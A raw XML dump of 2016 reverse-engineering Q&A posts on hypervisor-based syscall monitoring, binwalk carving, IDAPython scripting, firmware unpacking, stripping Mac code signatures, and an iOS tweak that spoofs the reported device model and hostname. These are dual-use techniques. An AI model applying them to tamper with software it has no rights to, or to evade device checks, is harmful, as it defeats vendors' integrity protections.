  <row Id="13615" PostTypeId="2" ParentId="13613" CreationDate="2016-09-29T00:12:08.007" Score="3" Body="&lt;h1&gt;Writing an hypervisor&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The best way to currently do this is by creating a micro-hypervisor, exploiting technologies originally created to support faster virtualization to monitor usermode as well as kernelmode code. This became quite a common replacement for AVs once &lt;code&gt;SSDT&lt;/code&gt; hooking was protected by Microsoft using patch-guard. Additionally, a few security companies sprung out, using hypervisors and micro-kernels to protect and separate different components of the OS (an example is &lt;a href=&quot;https://www.bromium.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bromium&lt;/a&gt;), and Microsoft recently announced their &lt;a href=&quot;https://blogs.windows.com/msedgedev/2016/09/27/application-guard-microsoft-edge/#f0wG5LXKQPklAx2D.97&quot; rel=&quot;nofollow noreferrer&quot;&gt;Application Guard&lt;/a&gt; which uses the same technique and actually installs an hypervisor when windows is installed.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Technical implementation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Although setting up an  hypervisor might seem like a silver bullet, it has many disadvantages:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Although most CPUs today support hypervisors, not all do.&lt;/li&gt;&#xA;&lt;li&gt;Windows does not yet support nested-virtualization and is installing a hypervisor. Nexted virtualization has multiple complications and makes the hypervisor development process more complex. There can only be one hypervisor unless the first one installed supports nesting.&lt;/li&gt;&#xA;&lt;li&gt;Virtualization software heavily relies on virtualization support by the CPU, and running a VM and a hypervisored host might become tricky. Same goes for running a hypervisor inside a virtual machine (so you can debug it properly). &lt;a href=&quot;https://4sysops.com/archives/how-to-run-hyper-v-under-vmware-workstation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; is a decent explanation of how to do that in VMWare.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Today, there are several open source hypervisors available, most for experimentation purposes and don't include a lot of actual features past the infrastructure needed to set up a functional hypervisor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some of those open source proof of concepts, that could be used as a starting point:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/hzqst/Syscall-Monitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/hzqst/Syscall-Monitor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/ionescu007/SimpleVisor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ionescu007/SimpleVisor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/asamy/ksm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/asamy/ksm&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/tandasat/HyperPlatform&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/tandasat/HyperPlatform&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;overwriting IVT/IDT/SSTD&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Hooking the &lt;a href=&quot;https://en.wikipedia.org/wiki/Interrupt_vector_table&quot; rel=&quot;nofollow noreferrer&quot;&gt;Interrupt Vector Table&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Interrupt_descriptor_table&quot; rel=&quot;nofollow noreferrer&quot;&gt;Interrupt Descriptor Table&lt;/a&gt; or the &lt;a href=&quot;https://en.wikipedia.org/wiki/System_Service_Descriptor_Table&quot; rel=&quot;nofollow noreferrer&quot;&gt;System Service Dispatch Table&lt;/a&gt; was very common in the not so distant past. Although this does not give the same granularity a hypervisor has and you won't be able to detect specific instructions, it was common practice that was partially replaced by hypervisors to get low level monitoring not provided by the OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea behind it is to override the list of addresses a CPU executes when certain interrupts are triggered. This is usually the OS's responsibility to handle interrupts and how many low level functionality is provided by the OS (such as managing memory and permissions, paging, multiple task support, input/output with peripherals etcetera). This technique was made somewhat irrelevant on certain OSes using techniques like &lt;a href=&quot;https://en.wikipedia.org/wiki/Kernel_Patch_Protection&quot; rel=&quot;nofollow noreferrer&quot;&gt;PatchGuard&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;An &lt;code&gt;rdtsc&lt;/code&gt; trick&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;rtdsc&lt;/code&gt; instruction is a bit special in a way not may other instructions are. Quoted from &lt;a href=&quot;http://x86.renejeschke.de/html/file_module_x86_id_278.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When in protected or virtual 8086 mode, the time stamp disable (TSD) flag in register CR4 restricts the use of the RDTSC instruction as follows. When the TSD flag is clear, the RDTSC instruction can be executed at any privilege level; when the flag is set, the instruction can only be executed at privilege level 0. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is special because it has it's own disabling control bit(&quot;time stamp disable&quot;) in &lt;code&gt;CR4&lt;/code&gt;. When that control bit is set, only kernelmode code is allowed to execute the &lt;code&gt;rdtsc&lt;/code&gt; instruction, but what's more interesting is that when this control bit is set, using &lt;code&gt;rdtsc&lt;/code&gt; from usermode will trigger a &lt;a href=&quot;https://en.wikipedia.org/wiki/General_protection_fault&quot; rel=&quot;nofollow noreferrer&quot;&gt;General Protection Fault&lt;/a&gt;, thus making such instructions detectable by the kernel.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-04-14T16:06:12.233" LastActivityDate="2017-04-14T16:06:12.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13616" PostTypeId="1" AcceptedAnswerId="13617" CreationDate="2016-09-29T07:07:15.437" Score="1" ViewCount="4972" Body="&lt;p&gt;I have been trying to use binwalk on a very large dump file without much success so far. Everytime I tried to use it, it produces very large zip file that fill the disk until I reach a disk full error (using Linux).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to understand what I did wrong, so here is a simple scenario hopefully to understand what I am doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ dd if=/dev/zero of=head bs=1 count=512&#xA;$ dd if=/dev/zero of=tail bs=1 count=512&#xA;$ wget https://github.com/devttys0/binwalk/archive/master.zip&#xA;$ cat head binwalk-master.zip tail &amp;gt; full&#xA;$ binwalk -z -C demo -D 'zip archive:zip:unzip %e' full&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could someone please let me know why I am seeing the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ find demo&#xA;demo&#xA;demo/_full.extracted&#xA;demo/_full.extracted/483BD.zip&#xA;demo/_full.extracted/200.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where is this file coming from ? Is there any reason to keep it around ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ unzip -l demo/_full.extracted/483BD.zip &#xA;Archive:  demo/_full.extracted/483BD.zip&#xA;5be61ad220a42e7b2c7e912024fda5edd84b4843&#xA;error [demo/_full.extracted/483BD.zip]:  missing 295357 bytes in zipfile&#xA;  (attempting to process anyway)&#xA;error [demo/_full.extracted/483BD.zip]:  attempt to seek before beginning of zipfile&#xA;  (please check that you have transferred or created the zipfile in the&#xA;  appropriate BINARY mode and that you have compiled UnZip properly)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bonus question: is there a way to really extract only the zip file (removing the &lt;code&gt;tail&lt;/code&gt; stuff):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ crc32 binwalk-master.zip demo/_full.extracted/200.zip &#xA;8ce4d36c    binwalk-master.zip&#xA;81923fef    demo/_full.extracted/200.zip&#xA;$ ls -al binwalk-master.zip demo/_full.extracted/200.zip &#xA;-rw-r--r-- 1 user user 295419 Sep 29 08:54 binwalk-master.zip&#xA;-rw-r--r-- 1 user user 295931 Sep 29 09:02 demo/_full.extracted/200.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2016-09-29T07:30:47.063" Title="Simple carving of zip file using binwalk" Tags="|binary-analysis|file-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13617" PostTypeId="2" ParentId="13616" CreationDate="2016-09-29T07:30:47.063" Score="7" Body="&lt;p&gt;Binwalk produces multiple large files, because the zlib header does not contain any information about the size of the compressed data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following steps should be performed to extract the zip files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Identify headers (found at &lt;code&gt;0x200&lt;/code&gt; and &lt;code&gt;0x483BD&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Save the zip file to a file. But, because there is not any information in the header about the size, the worst case should be used and the whole remaining file should be written out.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Because the header identification cannot be perfect and false positives are possible, you cannot assume that the second header means the end of the first zip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to extract the zip files without tail, you can do the followings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reverse the structure of the binary file. Generally every image part starts with a header with exact size information. You have to identify the header and size or offset values in it.&lt;/li&gt;&#xA;&lt;li&gt;If you works with a flash image, then you can perform entropy analysis, which helps to split the whole image into smaller parts.&lt;/li&gt;&#xA;&lt;li&gt;In a flash image, the parts are generally separated with several &lt;code&gt;0xFF&lt;/code&gt; bytes from each others. You can also use this information to extract the image parts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-09-29T07:30:47.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13618" PostTypeId="2" ParentId="12317" CreationDate="2016-09-29T21:34:47.433" Score="3" Body="&lt;p&gt;In many cases, IDA already knows that a jump is part of a jump-table and probably the result of a switch. When this is true, you can access it using IDAPython.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant functions are &lt;code&gt;get_switch_info_ex(ea)&lt;/code&gt; and &lt;code&gt;get_switch_info_ex(ea)&lt;/code&gt;.&#xA;Looking in &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_xref-module.html#calc_switch_cases&quot; rel=&quot;nofollow&quot;&gt;IDAPython's documentation&lt;/a&gt;, we find:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;calc_switch_cases(insn_ea, py_swi)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Get information about a switch's cases.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The returned information can be used as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for idx in xrange(len(results.cases)):&#xA;    cur_case = results.cases[idx]&#xA;    for cidx in xrange(len(cur_case)):&#xA;        print &quot;case: %d&quot; % cur_case[cidx]&#xA;    print &quot;  goto 0x%x&quot; % results.targets[idx]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;@param insn_ea: address of the 'indirect jump' instruction @param si:&#xA;  switch information&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;@return: a structure with 2 members: 'cases', and 'targets'.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Returns: cases_and_targets_t&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To get the &lt;code&gt;results&lt;/code&gt; variable from the example, we use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;si = idaapi.get_switch_info_ex(ea)&#xA;results = idaapi.calc_switch_cases(ea, si)&#xA;if not results:&#xA;    print &quot;No switch related jump at 0x{:X}&quot;.format(ea)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to check if an instruction is a switch or not, you can use the following function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def is_switch(ea):&#xA;    si = idaapi.get_switch_info_ex(ea)&#xA;    results = idaapi.calc_switch_cases(ea, si)&#xA;    return bool(results)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you wish to use it, I've written a basic wrapper class for IDA's switch in Sark. &lt;a href=&quot;https://github.com/tmr232/Sark/blob/master/sark/code/switch.py&quot; rel=&quot;nofollow&quot;&gt;See here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2016-09-29T21:34:47.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13619" PostTypeId="1" CreationDate="2016-09-30T00:50:22.100" Score="2" ViewCount="1370" Body="&lt;p&gt;We are trying to examine a firmware download for a product we have running on our local network.  Using the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk -Me filename&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we generated a folder that contains the following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;184A46C.cramfs&#xA;276466C.cramfs&#xA;6C.cramfs&#xA;C2426C.cramfs&#xA;cramfs-root/&#xA;cramfs-root-0/&#xA;cramfs-root-1/&#xA;cramfs-root-2/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Binwalk appears to have opened the CramFS just fine.  So navigating into cramfs-root and running the file command, we see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;app.tar.lzma:    data&#xA;copy_logo:       data&#xA;cramfs.img:      empty&#xA;dvrCmd.tar.gz:   data&#xA;hicore.tar.lzma: data&#xA;hisi.tar.lzma:   data&#xA;logo.tar.lzma:   data&#xA;misc.tar.lzma:   data&#xA;new_10.bin:      data&#xA;player.bin:      PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed&#xA;start.sh:        data&#xA;uImage:          u-boot legacy uImage, Linux-3.0.8, Linux/ARM, OS Kernel     Image (Not compressed), 2854980 bytes, Tue Apr 14 10:16:02 2015, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0x6C502F38, Data     CRC: 0xE9307D6E&#xA;version:         ASCII text&#xA;webs.tar.lzma:   data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other than the uImage file, which apparently contains a linux kernel, most of the files here are apparently .tar.lzma files.  Attempting to open one of them as a normal .tar.lzma is not working for us.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tar --lzma -xvf logo.tar.lzma&#xA;xz: (stdin): File format not recognized&#xA;tar: Child returned status 1&#xA;tar: Error is not recoverable: exiting now&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Trying something else:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unlzma logo.tar.lzma&#xA;unlzma: Decoder error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;lzmainfo seems to think it is valid, however, but it is calculating it as a laughably large, multi-petabyte file.  I am quite sure it is not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lzmainfo logo.tar.lzma&#xA;&#xA;logo.tar.lzma&#xA;Uncompressed size:             8351652399384 MB (8757342266336797407 bytes)&#xA;Dictionary size:               525 MB (2^29 bytes)&#xA;Literal context bits (lc):     0&#xA;Literal pos bits (lp):         2&#xA;Number of pos bits (pb):       4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've uploaded the file &lt;a href=&quot;http://ge.tt/18asCBf2&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; if you care to look at it.&lt;/p&gt;&#xA;" OwnerUserId="17615" LastActivityDate="2016-09-30T00:50:22.100" Title="open a non-standard compression .tar.lzma file extracted from firmware download" Tags="|linux|tools|decompress|" AnswerCount="0" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13621" PostTypeId="2" ParentId="12475" CreationDate="2016-09-30T08:58:37.707" Score="0" Body="&lt;p&gt;I am trying to achieve a similar thing with &lt;a href=&quot;https://github.com/tintinweb/ida-batch_decompile&quot; rel=&quot;nofollow&quot;&gt;ida-batch_decompile&lt;/a&gt;. The basic idea is to annotate and decompile the target from commandline (but it also comes with a menu entry; acting as a plugin or idascript)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It currently annotates functions with a textual description of guessed stack variable sizes and xrefs. To do so it adds a function comment block with &lt;code&gt;SetFunctionCmt(addr, txtcomment, 0)&lt;/code&gt; (&lt;a href=&quot;https://github.com/tintinweb/ida-batch_decompile/blob/master/ida_batch_decompile.py#L157&quot; rel=&quot;nofollow&quot;&gt;see code&lt;/a&gt;) and once all functions are annotated it decompiles the target binary to pseudocode (optionally also decompiles resolvable imports). Note that atm it is not capable of annotating decompiled lines but I am looking into having that in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example for &lt;code&gt;dbghelp.c&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//----- (03052800) --------------------------------------------------------&#xA;// **** Variables ****&#xA;// * stack size: 20&#xA;// {&quot;diff_size&quot;: 4, &quot;offset_text&quot;: &quot;[bp+0h]&quot;, &quot;size&quot;: 4, &quot;name&quot;: &quot; s&quot;, &quot;offset&quot;: 0}&#xA;// {&quot;diff_size&quot;: 4, &quot;offset_text&quot;: &quot;[bp+4h]&quot;, &quot;size&quot;: 4, &quot;name&quot;: &quot; r&quot;, &quot;offset&quot;: 4}&#xA;// {&quot;diff_size&quot;: 4, &quot;offset_text&quot;: &quot;[bp+8h]&quot;, &quot;size&quot;: 4, &quot;name&quot;: &quot;arg_0&quot;, &quot;offset&quot;: 8}&#xA;// {&quot;diff_size&quot;: 4, &quot;offset_text&quot;: &quot;[bp+Ch]&quot;, &quot;size&quot;: 4, &quot;name&quot;: &quot;dwBytes&quot;, &quot;offset&quot;: 12}&#xA;// {&quot;diff_size&quot;: 4, &quot;offset_text&quot;: &quot;[bp+10h]&quot;, &quot;size&quot;: 4, &quot;name&quot;: &quot;arg_8&quot;, &quot;offset&quot;: 16}&#xA;// *******************&#xA;// ***** XREFS *****&#xA;// * # 1&#xA;// sub_30733D0+30&#xA;// *******************&#xA;int __stdcall sub_3052800(int a1, SIZE_T dwBytes, int a3)&#xA;{&#xA;  int result; // eax@17&#xA;  HANDLE v4; // eax@21&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13810" LastEditorUserId="13810" LastEditDate="2016-09-30T09:12:02.283" LastActivityDate="2016-09-30T09:12:02.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13622" PostTypeId="1" AcceptedAnswerId="13623" CreationDate="2016-09-30T09:14:25.837" Score="13" ViewCount="24750" Body="&lt;p&gt;How can I remove the code signature from a binary so that I can patch it without the binary refusing to run afterwards?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Needless to say, I'm not the original creator of the binary, nor I have the certs that were used to sign the binary.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="17617" LastEditorUserId="2147" LastEditDate="2017-09-06T16:28:47.250" LastActivityDate="2020-09-24T02:29:05.127" Title="Remove code signature from a Mac binary" Tags="|binary-analysis|binary|osx|patching|mach-o|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13623" PostTypeId="2" ParentId="13622" CreationDate="2016-09-30T09:28:11.783" Score="18" Body="&lt;p&gt;There are &lt;a href=&quot;https://github.com/steakknife/unsign&quot; rel=&quot;noreferrer&quot;&gt;tools&lt;/a&gt; for &lt;a href=&quot;https://github.com/alexzielenski/optool&quot; rel=&quot;noreferrer&quot;&gt;that&lt;/a&gt;, as well as a &lt;code&gt;codesign&lt;/code&gt; flag &lt;code&gt;--remove-signature&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First two should work the same. The &lt;code&gt;codesign&lt;/code&gt; flag is undocumented and so YMMV (A user reported in a comment the &lt;code&gt;codesign&lt;/code&gt; produced a corrupt executable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use any of them with caution and backup the application before using them.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-09-06T16:26:36.183" LastActivityDate="2017-09-06T16:26:36.183" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13625" PostTypeId="1" CreationDate="2016-09-30T20:48:22.350" Score="-1" ViewCount="575" Body="&lt;p&gt;I am trying to reverse engineer an app but I am having problems unlike the previous apps that I reverse engineered.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Untouched the app let's you login perfectly but when I reverse engineer it and repackage it( Without changing anything) I am getting a &quot;Network Error&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried using Frida and I am experiencing the same problem... does anyone know why this is happenning?&lt;/p&gt;&#xA;" OwnerUserId="17621" LastActivityDate="2016-09-30T21:21:45.557" Title="Reverse Engineering an APP With Frida" Tags="|android|apk|" AnswerCount="1" CommentCount="0" ClosedDate="2016-10-01T10:39:52.110" ContentLicense="CC BY-SA 3.0" />
  <row Id="13626" PostTypeId="2" ParentId="13625" CreationDate="2016-09-30T21:05:50.653" Score="2" Body="&lt;p&gt;&lt;em&gt;There could be multiple reasons for such a behavior to occur. Without more thorough investigation on your end and a more detailed description it's impossible to provide a good answer. Please take the &lt;a href=&quot;https://reverseengineering.stackexchange.com/tour&quot;&gt;Tour&lt;/a&gt; to learn how good questions are structured.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what you're experiencing could be some kind of anti-patching protection, and the network related error suggested it might be related to some kind of server side verification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some ideas I can come up with:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An internal CRC or other code integrity blob (such as a cryptographic hash) is being sent to the server for validation.&lt;/li&gt;&#xA;&lt;li&gt;A code integrity check is being performed and validated locally, only reporting the validation failure to the server or falsely reporting there's a network issue.&lt;/li&gt;&#xA;&lt;li&gt;Your repackaging &lt;em&gt;does&lt;/em&gt; change the application is some less obvious way which damages the application's ability to communicate with the server.&lt;/li&gt;&#xA;&lt;li&gt;There's actually a network error, either due to your repackaging or for any other reason.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-09-30T21:21:45.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13627" PostTypeId="1" CreationDate="2016-10-01T13:23:15.650" Score="5" ViewCount="6868" Body="&lt;p&gt;I have the following IDA python script. It sets and removes breakpoints on all calls to library functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idc&#xA;import idaapi&#xA;import idautils&#xA;&#xA;def set_breakpoints():&#xA;    ea = idc.ScreenEA()&#xA;    for function_ea in idautils.Functions(idc.SegStart(ea), idc.SegEnd(ea)):&#xA;        if idc.GetFunctionFlags(function_ea) &amp;amp; FUNC_LIB:&#xA;            for ref in idautils.CodeRefsTo(function_ea, 0):&#xA;                    idc.AddBpt(ref)&#xA;&#xA;def rem_breakpoints():&#xA;    ea = idc.ScreenEA()&#xA;    for function_ea in idautils.Functions(idc.SegStart(ea), idc.SegEnd(ea)):&#xA;        if idc.GetFunctionFlags(function_ea) &amp;amp; FUNC_LIB:&#xA;            for ref in idautils.CodeRefsTo(function_ea, 0):&#xA;                    idc.DelBpt(ref)&#xA;&#xA;idaapi.add_hotkey(&quot;Alt-Z&quot;, set_breakpoints)&#xA;idaapi.add_hotkey(&quot;Alt-X&quot;, rem_breakpoints)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to have the same functionality for imported win api functions (from &quot;Import&quot; tab), but I cannot find any flags that will indicate that function is imported. Maybe someone can point me into right direction to do this. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="17625" LastActivityDate="2023-12-06T10:12:29.467" Title="IDA python, list all imported functions" Tags="|ida|idapython|winapi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13629" PostTypeId="2" ParentId="13627" CreationDate="2016-10-01T14:39:48.043" Score="6" Body="&lt;p&gt;This code snippet was copied from&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/idapython/src/blob/master/examples/core/list_imports.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/idapython/src/blob/master/examples/core/list_imports.py&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;&amp;quot;&amp;quot;&amp;quot;&#xA;summary: enumerate file imports&#xA;&#xA;description:&#xA;  Using the API to enumerate file imports.&#xA;&amp;quot;&amp;quot;&amp;quot;&#xA;&#xA;import ida_nalt&#xA;&#xA;nimps = ida_nalt.get_import_module_qty()&#xA;&#xA;print(&amp;quot;Found %d import(s)...&amp;quot; % nimps)&#xA;&#xA;for i in range(nimps):&#xA;    name = ida_nalt.get_import_module_name(i)&#xA;    if not name:&#xA;        print(&amp;quot;Failed to get import module name for #%d&amp;quot; % i)&#xA;        name = &amp;quot;&amp;lt;unnamed&amp;gt;&amp;quot;&#xA;&#xA;    print(&amp;quot;Walking imports for module %s&amp;quot; % name)&#xA;    def imp_cb(ea, name, ordinal):&#xA;        if not name:&#xA;            print(&amp;quot;%08x: ordinal #%d&amp;quot; % (ea, ordinal))&#xA;        else:&#xA;            print(&amp;quot;%08x: %s (ordinal #%d)&amp;quot; % (ea, name, ordinal))&#xA;        # True -&amp;gt; Continue enumeration&#xA;        # False -&amp;gt; Stop enumeration&#xA;        return True&#xA;    ida_nalt.enum_import_names(i, imp_cb)&#xA;&#xA;print(&amp;quot;All done...&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The remaining steps from enumerating imports to setting breakpoints are trivial.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="27999" LastEditDate="2023-12-06T10:12:29.467" LastActivityDate="2023-12-06T10:12:29.467" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="13633" PostTypeId="1" CreationDate="2016-10-02T10:45:07.870" Score="1" ViewCount="613" Body="&lt;p&gt;I'm using Rpetrich's Theos repository and I'm using &lt;code&gt;tweak.xmi&lt;/code&gt; for making tweak on multiple files for easier in management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can build and run successfully except one thing: I cannot use  &lt;code&gt;hookf&lt;/code&gt;. Before that, when I put all source code inside one &lt;code&gt;tweak.x&lt;/code&gt;, everything works normal. But now, everytime I compile, I meet this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: %orig found outside of hook or subclass &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One example of my hook is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;%hookf(int, uname, struct utsname *value) {&#xA;    int ret = %orig;&#xA;    strcpy(value-&amp;gt;machine, getModelIdentifier());&#xA;    strcpy(value-&amp;gt;nodename, getHostname());&#xA;    return ret;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my tweak that using &lt;code&gt;MSHookFunction&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#import &quot;substrate.h&quot;&#xA;&#xA;static int (*original_gethostname)(char *, size_t);&#xA;&#xA;static int replace_gethostname(char *value, size_t valueLen) {&#xA;    int ret = gethostname(value, valueLen);&#xA;    if (value) strcpy(value, &quot;thao&quot;);&#xA;    return ret;&#xA;}&#xA;&#xA;%ctor {&#xA;    %init(_ungrouped)&#xA;    MSHookFunction((void*)gethostname, (void*)replace_gethostname, (void**)&amp;amp;original_gethostname);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17531" LastEditorUserId="17531" LastEditDate="2016-10-03T19:53:35.350" LastActivityDate="2016-10-03T19:53:35.350" Title="%orig found outside of hook or subclass" Tags="|ios|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
